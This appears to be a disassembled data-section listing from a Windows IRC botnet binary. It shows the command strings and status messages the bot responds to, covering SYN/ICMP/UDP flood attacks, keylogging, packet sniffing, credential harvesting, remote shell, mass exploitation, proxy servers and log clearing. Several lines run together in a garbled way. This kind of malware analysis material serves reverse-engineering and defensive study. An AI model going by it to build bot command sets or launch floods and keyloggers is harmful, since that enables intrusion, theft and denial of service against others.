aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40CD3A+246Do
		align 4
aDs_rm		db 'ds.rm',0            ; DATA XREF: sub_40CD3A+2456o
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: sub_40CD3A+243Fo
		align 4
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: sub_40CD3A+2428o
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40CD3A+2411o
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40CD3A+23FAo
		align 4
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40CD3A+23D1o
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40CD3A+23BAo
		align 4
aBox_mv		db 'box.mv',0           ; DATA XREF: sub_40CD3A+23A3o
		align 10h
aBox_rename	db 'box.rename',0       ; DATA XREF: sub_40CD3A+238Co
		align 4
aBox_ff		db 'box.ff',0           ; DATA XREF: sub_40CD3A+2375o
		align 4
aBox_findfile	db 'box.findfile',0     ; DATA XREF: sub_40CD3A+235Eo
		align 4
aBox_e		db 'box.e',0            ; DATA XREF: sub_40CD3A+2347o
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: sub_40CD3A+2330o
aDownload_upz	db 'download.upz',0     ; DATA XREF: sub_40CD3A+2319o
		align 4
aDownload_updiz	db 'download.updiz',0   ; DATA XREF: sub_40CD3A+2302o
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: sub_40CD3A+22EBo
		align 10h
aEnz_delay	db 'enz.delay',0        ; DATA XREF: sub_40CD3A+22D4o
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: sub_40CD3A+22BDo
		align 4
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: sub_40CD3A+22A6o
		align 10h
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40CD3A+228Fo
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40CD3A+2278o
		align 4
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40CD3A+2261o
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40CD3A+224Ao
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40CD3A+2233o
		align 4
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40CD3A+221Co
		align 10h
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40CD3A+2205o
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40CD3A+21EEo
		align 4
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40CD3A+21D7o
		align 10h
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40CD3A+21C0o
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: sub_40CD3A+21A9o
		align 4
aEnz_mode	db 'enz.mode',0         ; DATA XREF: sub_40CD3A+2192o
		align 10h
aEnz_cy		db 'enz.cy',0           ; DATA XREF: sub_40CD3A+217Bo
		align 4
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: sub_40CD3A+2164o
		align 4
aEnz_ac		db 'enz.ac',0           ; DATA XREF: sub_40CD3A+214Do
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: sub_40CD3A+2136o
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: sub_40CD3A+211Fo
		align 10h
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: sub_40CD3A+2108o
aEnz_aa		db 'enz.aa',0           ; DATA XREF: sub_40CD3A+20F1o
		align 4
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: sub_40CD3A+20DAo
		align 4
aEnz_gh		db 'enz.gh',0           ; DATA XREF: sub_40CD3A+20B1o
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: sub_40CD3A+209Ao
dword_435BD8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40EDB9o
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_435C08	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40EDB2o
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_435C3C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40ED67o
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_435C6C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A+2026o
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 10h
aUser		db 'user',0             ; DATA XREF: sub_40CD3A+1F9Fo
		align 4
dword_435CA8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40ECCEo
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_435CDC	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A+1F8Ao
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40CD3A+1F1Co
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40CD3A+1F01o
		align 10h
aPause		db 'pause',0            ; DATA XREF: sub_40CD3A+1ECBo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40CD3A+1EB3o
		align 10h
dword_435D30	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_40EBE2o
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_435D64	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A+1E9Eo
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 10h
dword_435DA0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CD3A+1E14o
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: sub_40CD3A+1DF0o
		align 8
unk_435DF8	db    2			; DATA XREF: sub_40CD3A+1DBFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_25	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_435E48	db    2			; DATA XREF: sub_40CD3A+1D66o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_435E7C	db    2			; DATA XREF: sub_40CD3A+1CE5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 10h
unk_435EB0	db    2			; DATA XREF: sub_40CD3A:loc_40EA09o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 10h
unk_435EF0	db    2			; DATA XREF: sub_40CD3A+1CC5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 10h
aBox_keylog	db 'box.keylog',0       ; DATA XREF: sub_40CD3A+1C6Bo
		align 4
unk_435F4C	db    2			; DATA XREF: sub_40CD3A:loc_40E998o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_435F88	db    2			; DATA XREF: sub_40CD3A+1C54o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40CD3A+1C31o
					; sub_40CD3A+1CA2o
unk_435FD8	db    2			; DATA XREF: sub_40CD3A+1C11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_26	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_436028	db    2			; DATA XREF: sub_40CD3A+1BB8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 4
unk_43606C	db    2			; DATA XREF: sub_40CD3A+1B54o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_40CD3A+1B34o
					; sub_40CD3A+1C80o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40CD3A+1B1Fo
		align 4
aBox_rf		db 'box.rf',0           ; DATA XREF: sub_40CD3A+1B08o
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: sub_40CD3A+1AF1o
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: sub_40CD3A+1ADAo
		align 4
aBox_cmd	db 'box.cmd',0          ; DATA XREF: sub_40CD3A+1AC3o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40CD3A+1A95o
					; sub_40CD3A+1AACo
		align 10h
aEnz_v		db 'enz.v',0            ; DATA XREF: sub_40CD3A+1A7Eo
		align 4
aEnz_visit	db 'enz.visit',0        ; DATA XREF: sub_40CD3A+1A67o
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: sub_40CD3A+1A50o
		align 4
aBox_filelist	db 'box.filelist',0     ; DATA XREF: sub_40CD3A+1A39o
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40CD3A+1A22o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40CD3A+1A0Bo
aBox_del	db 'box.del',0          ; DATA XREF: sub_40CD3A+19F4o
aBox_delete	db 'box.delete',0       ; DATA XREF: sub_40CD3A+19DDo
		align 10h
aBox_pkid	db 'box.pkid',0         ; DATA XREF: sub_40CD3A+19C6o
		align 4
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: sub_40CD3A+19AFo
		align 4
aBox_kpn	db 'box.kpn',0          ; DATA XREF: sub_40CD3A+1998o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: sub_40CD3A+1981o
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: sub_40CD3A+196Ao
		align 10h
aEnz_dns	db 'enz.dns',0          ; DATA XREF: sub_40CD3A+1953o
aEnz_se		db 'enz.se',0           ; DATA XREF: sub_40CD3A+193Co
		align 10h
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: sub_40CD3A+1925o
		align 10h
aBox_o		db 'box.o',0            ; DATA XREF: sub_40CD3A+190Eo
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: sub_40CD3A+18F7o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: sub_40CD3A+18E0o
		align 4
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: sub_40CD3A+18C9o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40CD3A+18B2o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40CD3A+189Bo
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40CD3A+1884o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40CD3A+186Do
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40CD3A+1856o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40CD3A+183Fo
		align 4
aEnz_r		db 'enz.r',0            ; DATA XREF: sub_40CD3A+1828o
		align 4
aEnz_raw	db 'enz.raw',0          ; DATA XREF: sub_40CD3A+1811o
aEnz_pt		db 'enz.pt',0           ; DATA XREF: sub_40CD3A+17FAo
		align 4
aEnz_part	db 'enz.part',0         ; DATA XREF: sub_40CD3A+17E3o
		align 4
aEnz_j		db 'enz.j',0            ; DATA XREF: sub_40CD3A+17CCo
		align 10h
aEnz_join	db 'enz.join',0         ; DATA XREF: sub_40CD3A+17B5o
		align 4
aEnz_n		db 'enz.n',0            ; DATA XREF: sub_40CD3A+179Eo
		align 4
aEnz_nick	db 'enz.nick',0         ; DATA XREF: sub_40CD3A+1787o
		align 10h
aVall		db 'vall',0             ; DATA XREF: sub_40CD3A+1761o
		align 4
aVuln_massexplo	db 'vuln.massexploit',0 ; DATA XREF: sub_40CD3A+174Co
		align 4
aServer_tf_on	db 'server.tf.on',0     ; DATA XREF: sub_40CD3A+1737o
		align 4
aServer_tftp_on	db 'server.tftp.on',0   ; DATA XREF: sub_40CD3A+1722o
		align 4
aServer_web_on	db 'server.web.on',0    ; DATA XREF: sub_40CD3A+170Do
		align 4
aServer_httpd_o	db 'server.httpd.on',0  ; DATA XREF: sub_40CD3A+16F8o
aVuln_cip	db 'vuln.cip',0         ; DATA XREF: sub_40CD3A+16E3o
		align 4
aVuln_currentip	db 'vuln.currentip',0   ; DATA XREF: sub_40CD3A+16CEo
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40CD3A+16B9o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40CD3A+16A4o
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40CD3A+168Fo
		align 10h
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40CD3A+167Ao
		align 10h
aBox_gc		db 'box.gc',0           ; DATA XREF: sub_40CD3A+1665o
		align 4
aBox_getclip	db 'box.getclip',0      ; DATA XREF: sub_40CD3A+1650o
dword_436314	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+1645o
		dd 2029206Ch, 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40CD3A+1611o
					; sub_414E97+46o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40CD3A+1604o
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40CD3A+15E2o
		align 4
aEnz_who	db 'enz.who',0          ; DATA XREF: sub_40CD3A+15C9o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40CD3A+15BEo
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40CD3A+15B9o
		align 4
aBox_ocmd_off	db 'box.ocmd.off',0     ; DATA XREF: sub_40CD3A+15A0o
		align 4
aBox_ocmd	db 'box.ocmd',0         ; DATA XREF: sub_40CD3A+158Bo
		align 4
aBox_opencmd	db 'box.opencmd',0      ; DATA XREF: sub_40CD3A+1576o
aBox_dll	db 'box.dll',0          ; DATA XREF: sub_40CD3A+1561o
aBox_testdlls	db 'box.testdlls',0     ; DATA XREF: sub_40CD3A+154Co
		align 4
aBox_drv	db 'box.drv',0          ; DATA XREF: sub_40CD3A+1537o
aBox_driveinfo	db 'box.driveinfo',0    ; DATA XREF: sub_40CD3A+1522o
		align 10h
aBox_up		db 'box.up',0           ; DATA XREF: sub_40CD3A+150Do
		align 4
aBox_uptime	db 'box.uptime',0       ; DATA XREF: sub_40CD3A+14F8o
		align 4
aBox_key	db 'box.key',0          ; DATA XREF: sub_40CD3A+14E3o
aBox_harvest	db 'box.harvest',0      ; DATA XREF: sub_40CD3A+14CEo
aBox_ps		db 'box.ps',0           ; DATA XREF: sub_40CD3A+14B9o
		align 10h
aBox_procs	db 'box.procs',0        ; DATA XREF: sub_40CD3A+14A4o
		align 4
aEnz_b3g	db 'enz.b3g',0          ; DATA XREF: sub_40CD3A+148Fo
aEnz_beg0ne	db 'enz.beg0ne',0       ; DATA XREF: sub_40CD3A+147Ao
		align 10h
aBox_si		db 'box.si',0           ; DATA XREF: sub_40CD3A+1465o
		align 4
aBox_sysinfo	db 'box.sysinfo',0      ; DATA XREF: sub_40CD3A+1450o
aBox_ni		db 'box.ni',0           ; DATA XREF: sub_40CD3A+143Bo
		align 4
aBox_netinfo	db 'box.netinfo',0      ; DATA XREF: sub_40CD3A+1426o
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40CD3A+1411o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40CD3A+13FCo
		align 4
aEnz_lg		db 'enz.lg',0           ; DATA XREF: sub_40CD3A+13E7o
		align 4
aEnz_log	db 'enz.log',0          ; DATA XREF: sub_40CD3A+13D2o
aEnz_al		db 'enz.al',0           ; DATA XREF: sub_40CD3A+13BDo
		align 4
aEnz_aliases	db 'enz.aliases',0      ; DATA XREF: sub_40CD3A+13A8o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40CD3A+1393o
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40CD3A+137Eo
		align 4
dword_4364B4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+134Ao
		dd 2029206Ch, 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_4364EC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+1343o
		dd 2029206Ch, 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aBox_rebewt	db 'box.rebewt',0       ; DATA XREF: sub_40CD3A+132Co
		align 4
aEnz_i		db 'enz.i',0            ; DATA XREF: sub_40CD3A+1317o
		align 10h
aEnz_id		db 'enz.id',0           ; DATA XREF: sub_40CD3A+1302o
		align 4
aEnz_s		db 'enz.s',0            ; DATA XREF: sub_40CD3A+12EDo
		align 10h
aEnz_status	db 'enz.status',0       ; DATA XREF: sub_40CD3A+12D8o
		align 4
aEnz_t3rm1	db 'enz.t3rm1',0        ; DATA XREF: sub_40CD3A+12C3o
		align 4
aEnz_t3rm1nate	db 'enz.t3rm1nate',0    ; DATA XREF: sub_40CD3A+12AEo
		align 4
aEnz_et3	db 'enz.et3',0          ; DATA XREF: sub_40CD3A+1299o
aEnz_endt3rm	db 'enz.endt3rm',0      ; DATA XREF: sub_40CD3A+1284o
aEnz_rh4	db 'enz.rh4',0          ; DATA XREF: sub_40CD3A+126Fo
aEnz_reh4sh	db 'enz.reh4sh',0       ; DATA XREF: sub_40CD3A+125Ao
		align 10h
aVuln_st	db 'vuln.st',0          ; DATA XREF: sub_40CD3A+1245o
aVuln_stats	db 'vuln.stats',0       ; DATA XREF: sub_40CD3A+1230o
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40CD3A+1225o
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_40CD3A+1220o
		align 4
aVuln_stop	db 'vuln.stop',0        ; DATA XREF: sub_40CD3A+1207o
		align 4
dword_4365C8	dd 65027302h, 1F727563h, 2E2E1F65h, 0aSecure_0	db 'Secure',0           ; DATA XREF: sub_40CD3A+11F7o
		align 10h
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40CD3A+11DEo
		align 10h
dword_4365F0	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0aClone		db 'Clone',0            ; DATA XREF: sub_40CD3A+11CEo
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40CD3A+11B5o
		align 4
aBox_ps_off	db 'box.ps.off',0       ; DATA XREF: sub_40CD3A+11A0o
		align 10h
aBox_procs_off	db 'box.procs.off',0    ; DATA XREF: sub_40CD3A+118Bo
		align 10h
aBox_ff_off	db 'box.ff.off',0       ; DATA XREF: sub_40CD3A+1176o
		align 4
aBox_findfile_o	db 'box.findfile.off',0 ; DATA XREF: sub_40CD3A+1161o
		align 10h
dword_436650	dd 66027402h, 641F7074h, 2E2E1FhaServer_tftp_of	db 'server.tftp.off',0  ; DATA XREF: sub_40CD3A+1138o
dword_43666C	dd 69027002h, 1F671F6Eh, 2E2Ehdword_436678	dd 676E6950h, 6F6C6620h, 646Fhdword_436684	dd 736F6464h, 6E69702Eh, 666F2E67h, 66hdword_436694	dd 64027502h, 2E1F701Fh, 2Ehdword_4366A0	dd 20504455h, 6F6F6C66h, 64hdword_4366AC	dd 736F6464h, 7064752Eh, 66666F2Eh, 0dword_4366BC	dd 79027302h, 2E1F6E1Fh, 2Ehdword_4366C8	dd 206E7953h, 6F6F6C66h, 64hdword_4366D4	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0dword_4366E4	dd 64026402h, 1F731F6Fh, 2E2Ehdword_4366F0	dd 536F4444h, 6F6C6620h, 646Fhdword_4366FC	dd 736F6464h, 66666F2Eh, 0dword_436708	dd 65027202h, 65726964h, 1F741F63h, 2E2Ehdword_436718	dd 20504354h, 69646572h, 74636572h, 0aServer_redirec	db 'server.redirect.off',0 ; DATA XREF: sub_40CD3A+106Bo
dword_43673C	dd 6F026C02h, 2E1F671Fh, 2Ehdword_436748	dd 20676F4Ch, 7473696Ch, 0dword_436754	dd 2E676F6Ch, 66666Fhdword_43675C	dd 74026802h, 641F7074h, 2E2E1Fhdword_436768	dd 76726573h, 772E7265h, 6F2E6265h, 6666hdword_436778	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2EhaServer_rlogin_	db 'server.rlogin.off',0 ; DATA XREF: sub_40CD3A+FF0o
		align 4
dword_43679C	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0aServer		db 'Server',0           ; DATA XREF: sub_40CD3A+FE0o
					; sub_40CD3A+1009o ...
		align 4
aServer_socks_0	db 'server.socks4.off',0 ; DATA XREF: sub_40CD3A+FC7o
		align 4
aServer_s4_on	db 'server.s4.on',0     ; DATA XREF: sub_40CD3A+FB2o
		align 4
aServer_socks4_	db 'server.socks4.on',0 ; DATA XREF: sub_40CD3A+F9Do
		align 4
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40CD3A+F88o
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40CD3A+F73o
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40CD3A+F5Eo
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40CD3A+F49o
aEnz_ver	db 'enz.ver',0          ; DATA XREF: sub_40CD3A+F34o
aEnz_version	db 'enz.version',0      ; DATA XREF: sub_40CD3A+F1Fo
aEnz_lo		db 'enz.lo',0           ; DATA XREF: sub_40CD3A+F0Ao
		align 4
aEnz_logout	db 'enz.logout',0       ; DATA XREF: sub_40CD3A+EF5o
		align 10h
aEnz_d		db 'enz.d',0            ; DATA XREF: sub_40CD3A+EE0o
		align 4
aEnz_endsess	db 'enz.endsess',0      ; DATA XREF: sub_40CD3A+ECBo
aEnz_rn		db 'enz.rn',0           ; DATA XREF: sub_40CD3A+EB6o
		align 4
aEnz_rndnick	db 'enz.rndnick',0      ; DATA XREF: sub_40CD3A+E9Eo
a63		db '63',0               ; DATA XREF: sub_40CD3A+D7Eo
		align 4
asc_43686C:				; DATA XREF: sub_40CD3A+D56o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40CD3A+D1Co
		align 4
aServer_2	db '$server',0          ; DATA XREF: sub_40CD3A+D11o
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40CD3A+D00o
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40CD3A+CE4o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40CD3A+CD3o
		align 4
aMe_0		db '$me',0              ; DATA XREF: sub_40CD3A+CC1o
aD_0		db '$%d',0              ; DATA XREF: sub_40CD3A+C4Do
aD_1		db '$%d-',0             ; DATA XREF: sub_40CD3A+BA0o
		align 4
aHi_0		db 'hi',0               ; DATA XREF: sub_40CD3A+AC2o
		align 10h
aNewshit	db 'newshit',0          ; DATA XREF: sub_40CD3A+AAAo
dword_4368B8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+A87o
		dd 2029206Ch, 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
		align 10h
dword_436900	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+A76o
		dd 2029206Ch, 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 8
dword_436948	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+A50o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_27	db '  Failed to start chat thread, error: <%d>.',0
dword_436990	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+9F7o
		dd 2029206Ch, 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40CD3A+960o
		align 10h
dword_4369D0	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+943o
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_436A24	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40CD3A+913o
		dd 0A0Dh
dword_436A3C	dd 4E495001h, 47haSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40CD3A+8A4o
		align 10h
dword_436A60	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40CD3A+88Ao
		dd 0D017325h, 0Ah
dword_436A7C	dd 52455601h, 4E4F4953h, 1dword_436A88	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+74Do
		dd 2029206Ch, 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40CD3A+6AAo
		align 10h
dword_436AD0	dd 43434401h, 0	dword_436AD8	dd 323333h						; sub_40CD3A+AE4o ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40CD3A+5EDo
					; sub_412BD1+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40CD3A+5E1o
					; sub_412BD1+16o
dword_436AEC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+590o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 10h
dword_436B20	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+570o
